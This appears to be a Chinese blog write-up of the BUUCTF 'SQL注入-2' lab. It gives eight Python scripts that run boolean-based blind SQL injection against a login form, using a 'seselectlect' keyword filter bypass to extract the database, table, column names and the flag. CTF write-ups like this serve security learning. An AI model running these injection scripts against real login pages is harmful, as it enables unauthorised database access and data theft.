BUUCTF [第一章 web入门]SQL注入-2

在这里插入图片描述
在这里插入图片描述
经分析后可知:当输入admin’ and 1=3# 时返回为假 {“error”:1,“msg”:"\u8d26\u53f7\u4e0d\u5b58\u5728"}
当输入admin’ and 1=1# 时返回为真{“error”:1,“msg”:"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"}
根据返回的字符串,我们可以写出解决的python脚本

#数据库名字长度
import string
import requests
url="http://e2cc3e08-20a0-4b33-a33d-a1a1ece4a063.node3.buuoj.cn/login.php"
true="u8bef"
false="u5728"
for i in range(0,30):
    key="admin' and length(database())="+str(i)+"#"
    data={'name':key,'pass':'123'}
    r=requests.post(url,data=data).text
    if true in r:
        print("the length is",i)

在这里插入图片描述

#数据库名
import string
import requests
url="http://e2cc3e08-20a0-4b33-a33d-a1a1ece4a063.node3.buuoj.cn/login.php"
true="u8bef"
false="u5728"
length=4
name=""
dic=string.ascii_letters+string.digits+"~!@#$%^&*()_+-={}"
for i in range(1,length+1):
    for j in range(32,128):
        key="admin' and ascii(substr(database(),%d,1))=%d#"%(i,j)
        data={'name':key,'pass':'123'}
        r=requests.post(url,data=data).text
        if true in r:
            name=name+chr(j)
            print(name)

在这里插入图片描述

#表长度
import string
import requests
url="http://e2cc3e08-20a0-4b33-a33d-a1a1ece4a063.node3.buuoj.cn/login.php"
true="u8bef"
false="u5728"
length=4
name=""
database="note"
dic=string.ascii_letters+string.digits+"~!@#$%^&*()_+-={}"
for i in range(1,30):
    key="admin' and length((seselectlect table_name FROM information_schema.tables WHERE table_schema='note' limit 0,1))="+str(i)+"#"
    data={'name':key,'pass':'123'}
    r=requests.post(url,data=data).text
    if true in r:
        print("the length of table is:",i)

在这里插入图片描述

#表名
import string
import requests
url="http://e2cc3e08-20a0-4b33-a33d-a1a1ece4a063.node3.buuoj.cn/login.php"
true="u8bef"
false="u5728"
length=4
name=""
database="note"
dic=string.ascii_letters+string.digits+"~!@#$%^&*()_+-={}"
for i in range(1,length+1):
    for j in range(32,128):
        key="admin' and ascii(substr((seselectlect table_name FROM information_schema.tables WHERE table_schema='note' limit 0,1),%d,1))=%d#"%(i,j)
        data={'name':key,'pass':'123'}
        r=requests.post(url,data=data).text
        if true in r:
            print(chr(j))

在这里插入图片描述

#列长度
import string
import requests
url="http://e2cc3e08-20a0-4b33-a33d-a1a1ece4a063.node3.buuoj.cn/login.php"
true="u8bef"
false="u5728"
length=4
name=""
database="note"
dic=string.ascii_letters+string.digits+"~!@#$%^&*()_+-={}"
for i in range(0,30):
    key="admin' and length((seselectlect column_name FROM information_schema.columns WHERE table_name='fl4g' limit 0,1))="+str(i)+"#"
    data={'name':key,'pass':'123'}
    r=requests.post(url,data=data).text
    if true in r:
        print("the length of conlumn of 'fl4g' is:",i)


在这里插入图片描述

#列名
import string
import requests
url="http://624475d0-c1d1-4457-9cf0-4a6967a5ac83.node3.buuoj.cn/login.php"
true="u8bef"
false="u5728"
length=4
name=""
database="note"
dic=string.ascii_letters+string.digits+"~!@#$%^&*()_+-={}"
for i in range(1,length+1):
    for j in range(32,128):
        key="admin' and ascii(substr((seselectlect column_name FROM information_schema.columns WHERE table_name='fl4g' limit 0,1),%d,1))=%d#"%(i,j)
        data={'name':key,'pass':'123'}
        r=requests.post(url,data=data).text
        if true in r:
            name=name+chr(j)
            print(name)

在这里插入图片描述

#flag长度
import string
import requests
url="http://624475d0-c1d1-4457-9cf0-4a6967a5ac83.node3.buuoj.cn/login.php"
true="u8bef"
false="u5728"
length=4
name=""
database="note"
dic=string.ascii_letters+string.digits+"~!@#$%^&*()_+-={}"
for i in range(0,60):
    key="admin' and length((seselectlect flag from fl4g limit 0,1))="+str(i)+"#"
    data = {'name': key, 'pass': '123'}
    r = requests.post(url, data=data).text
    if true in r:
        print("the length of column is:",i)

在这里插入图片描述

#flag
import string
import requests
url="http://624475d0-c1d1-4457-9cf0-4a6967a5ac83.node3.buuoj.cn/login.php"
true="u8bef"
false="u5728"
length=26
flag=""
database="note"
dic=string.ascii_letters+string.digits+"~!@#$%^&*()_+-={}"
for i in range(1,length+1):
    for j in dic:
        key="admin' and (ascii(substr((seselectlect flag FROM fl4g limit 0,1),%d,1))="%i+str(ord(j))+")#"
        data={'name':key,'pass':'123'}
        r=requests.post(url,data=data).text
        if true in r:
            flag=flag+j
            print(flag)

在这里插入图片描述

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值